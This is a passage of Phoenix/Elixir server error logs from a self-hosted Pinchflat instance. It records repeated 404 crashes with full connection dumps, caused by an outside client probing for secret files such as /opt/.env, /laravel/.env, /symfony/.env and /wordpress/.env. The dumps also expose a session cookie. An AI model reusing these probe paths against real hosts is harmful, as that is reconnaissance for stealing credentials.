script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/opt/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 74, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /opt/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/opt/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 74, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pin (truncated) 02:10:13.571 [info] GET /laravel/.env 02:10:13.572 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=289.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.573 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=197.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.573 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.574 [error] #PID<0.3379.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 75) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /laravel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 75, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3379.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6bj8M6SrG_AAARKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 75, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 75, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:13.669 [info] GET /symfony/.env 02:10:13.670 [debug] QUERY OK source="settings" db=0.4ms idle=293.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.670 [debug] QUERY OK source="settings" db=0.1ms idle=199.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.670 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.671 [error] #PID<0.3380.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 76) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /symfony/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /symfony/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/symfony/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 76, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3380.0>, params: %{}, path_info: ["symfony", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/symfony/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6b7KMybFn6oAARLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/symfony/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 76, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /symfony/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/symfony/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 76, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:13.767 [info] GET /wordpress/.env 02:10:13.769 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=296.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.769 [debug] QUERY OK source="settings" db=0.3ms idle=196.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:13.770 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:13.770 [error] #PID<0.3381.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 77) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /wordpress/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 77, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3381.0>, params: %{}, path_info: ["wordpress", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/wordpress/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6cSml1yBHXgAARMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 77, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wordpress/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wordpress/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", 